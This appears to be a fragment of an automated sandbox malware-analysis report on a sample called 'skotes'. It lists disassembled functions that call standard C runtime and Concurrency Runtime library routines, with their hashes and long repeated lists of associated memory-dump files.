Associated: 00000006.00000002.3725541269.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725638458.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725706337.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725832417.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725925729.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726075575.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726394394.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726465773.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726560678.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726629525.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726699247.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726794979.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: CacheGroupLocalSchedule$Concurrency::details::SegmentSegment::std::invalid_argument::invalid_argument
String ID: count$ppVirtualProcessorRoots
API String ID: 2663199487-3650809737
Opcode ID: 7db1e3e6c39ec06d0b515ca8f0dfb55410f53f97285cd71f9f569ac18bc1d671
Instruction ID: 5f0c5ad22e1044a8caaef865d3775a3dfd46642335ab93406bcd047ee284ccdf
Opcode Fuzzy Hash: 7db1e3e6c39ec06d0b515ca8f0dfb55410f53f97285cd71f9f569ac18bc1d671
Instruction Fuzzy Hash: 1B213035600516EFCB24EF98C895EAE7BB5FF88310F10446BE5069B792DB71AA01CF51

Function 005DB975 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 64COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 005DBA0E

Strings

RoUninitialize, xrefs: 005DB9C1
combase.dll, xrefs: 005DB983, 005DB988, 005DB99D, 005DB9C8
RoInitialize, xrefs: 005DB998

Memory Dump Source

Source File: 00000006.00000002.3721494550.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000006.00000002.3721322096.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721494550.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721893468.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721989743.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722082421.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722609435.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722701630.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722959785.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723022847.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723117146.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723206062.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723356358.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723399105.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723485971.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723556655.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723649094.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723739456.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723839179.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723930453.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724048527.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724143125.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724234989.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724358463.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724502159.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724542752.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724621887.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724695871.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724789373.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724860324.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724954408.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725026065.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725122166.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725217523.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725281644.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725373883.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725469857.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725541269.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725638458.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725706337.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725832417.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725925729.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726075575.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726394394.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726465773.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726560678.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726629525.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726699247.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726794979.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error
String ID: RoInitialize$RoUninitialize$combase.dll
API String ID: 348560076-3997890769
Opcode ID: d6fddb127e39a6efe0f2d8fe425725ab2511e1c96bb3acf14cd6f6ab13942917
Instruction ID: af89a76d900645bd7008f7b07d155f4c801bcd6651733d325a5dbc269cc611da
Opcode Fuzzy Hash: d6fddb127e39a6efe0f2d8fe425725ab2511e1c96bb3acf14cd6f6ab13942917
Instruction Fuzzy Hash: 830149716C5352E9F725BBB94C25BAF3D8EFF42348F11682BA581E62C0EF68D40046B5

Function 005D6E1C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 61COMMON

Download Yara Rule

APIs

SafeRWList.LIBCONCRT ref: 005D6E73

Part of subcall function 005D4E6E: Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 005D4E7F
Part of subcall function 005D4E6E: List.LIBCMT ref: 005D4E89

std::invalid_argument::invalid_argument.LIBCONCRT ref: 005D6E85
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 005D6EAA

Strings

eventObject, xrefs: 005D6E7D

Memory Dump Source

Source File: 00000006.00000002.3721494550.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000006.00000002.3721322096.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721494550.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721893468.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721989743.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722082421.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722609435.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722701630.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722959785.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723022847.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723117146.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723206062.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723356358.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723399105.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723485971.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723556655.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723649094.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723739456.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723839179.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723930453.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724048527.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724143125.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724234989.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724358463.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724502159.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724542752.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724621887.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724695871.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724789373.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724860324.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724954408.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725026065.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725122166.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725217523.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725281644.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725373883.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725469857.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725541269.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725638458.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725706337.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725832417.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725925729.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726075575.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726394394.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726465773.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726560678.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726629525.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726699247.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726794979.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: List$AcquireConcurrency::details::_Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorLock::_ReaderSafeWriteWriterstd::invalid_argument::invalid_argument
String ID: eventObject
API String ID: 1288476792-1680012138
Opcode ID: e212820c7161331f04d22ccd8ef69dbfe5866603598f8789c1042a5514eea157
Instruction ID: b163c3634c3e1022131b16274ce9cbaf2c8b2b48a4b70f794421f14ab0981d8e
Opcode Fuzzy Hash: e212820c7161331f04d22ccd8ef69dbfe5866603598f8789c1042a5514eea157
Instruction Fuzzy Hash: E111E935640215E6DB38EBA8CC4AFEF7BACBF00704F204517B505E61D1DB70AA05C675

Function 005DA0EE Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35threadCOMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::GetCurrentThreadExecutionResource.LIBCMT ref: 005DA102
Concurrency::details::ResourceManager::RemoveExecutionResource.LIBCONCRT ref: 005DA126
std::invalid_argument::invalid_argument.LIBCONCRT ref: 005DA139

Strings

pScheduler, xrefs: 005DA131

Memory Dump Source

Source File: 00000006.00000002.3721494550.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000006.00000002.3721322096.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721494550.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721893468.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721989743.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722082421.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722609435.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722701630.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722959785.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723022847.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723117146.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723206062.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723356358.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723399105.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723485971.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723556655.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723649094.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723739456.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723839179.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723930453.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724048527.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724143125.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724234989.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724358463.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724502159.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724542752.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724621887.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724695871.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724789373.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724860324.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724954408.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725026065.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725122166.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725217523.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725281644.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725373883.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725469857.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725541269.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725638458.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725706337.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725832417.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725925729.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726075575.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726394394.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726465773.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726560678.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726629525.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726699247.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726794979.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: Resource$Concurrency::details::Execution$CurrentManager::Proxy::RemoveSchedulerThreadstd::invalid_argument::invalid_argument
String ID: pScheduler
API String ID: 246774199-923244539
Opcode ID: bab5d66b01cb94d52bd7863e05fb692b4768bfaae077732661c04fa65dcf7723
Instruction ID: e89350881e89efff3f823fbf4d2b7612a395b1e6ee5165211b67c80dd1ff3a55
Opcode Fuzzy Hash: bab5d66b01cb94d52bd7863e05fb692b4768bfaae077732661c04fa65dcf7723
Instruction Fuzzy Hash: 8DF02435900604E7CB34FA98DC46C9FBF69BEC0710B10852FE40657281DB70AA05C692

Function 005F67A9 Relevance: 6.2, APIs: 4, Instructions: 245COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 005F6902
__alloca_probe_16.LIBCMT ref: 005F6998
__freea.LIBCMT ref: 005F6A03
__freea.LIBCMT ref: 005F6A0F

Memory Dump Source

Source File: 00000006.00000002.3721494550.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000006.00000002.3721322096.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721494550.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721893468.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721989743.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722082421.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722609435.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722701630.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722959785.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723022847.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723117146.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723206062.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723356358.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723399105.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723485971.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723556655.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723649094.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723739456.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723839179.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723930453.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724048527.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724143125.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724234989.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724358463.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724502159.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724542752.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724621887.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724695871.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724789373.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724860324.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724954408.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725026065.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725122166.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725217523.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725281644.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725373883.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725469857.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725541269.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725638458.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725706337.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725832417.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725925729.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726075575.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726394394.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726465773.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726560678.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726629525.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726699247.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726794979.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: __alloca_probe_16__freea
String ID:
API String ID: 1635606685-0
Opcode ID: f0ee618154b5dc82435e07ecdc263f6d2da1e2f9f0170bc79bd551a0041713b6
Instruction ID: 03737943aa461afece1a0fc49fd644777afeefa312c2fd74c57418f04c7f4efc
Opcode Fuzzy Hash: f0ee618154b5dc82435e07ecdc263f6d2da1e2f9f0170bc79bd551a0041713b6
Instruction Fuzzy Hash: F581BE7290024EABDF209EA58985AFF7FF9FF49354F184159EA41B7241E739DC408BA0

Function 005E504E Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 005E5115
___AdjustPointer.LIBCMT ref: 005E5138
___AdjustPointer.LIBCMT ref: 005E51D4

Memory Dump Source

Source File: 00000006.00000002.3721494550.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000006.00000002.3721322096.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721494550.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721893468.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721989743.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722082421.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722609435.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722701630.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722959785.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723022847.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723117146.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723206062.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
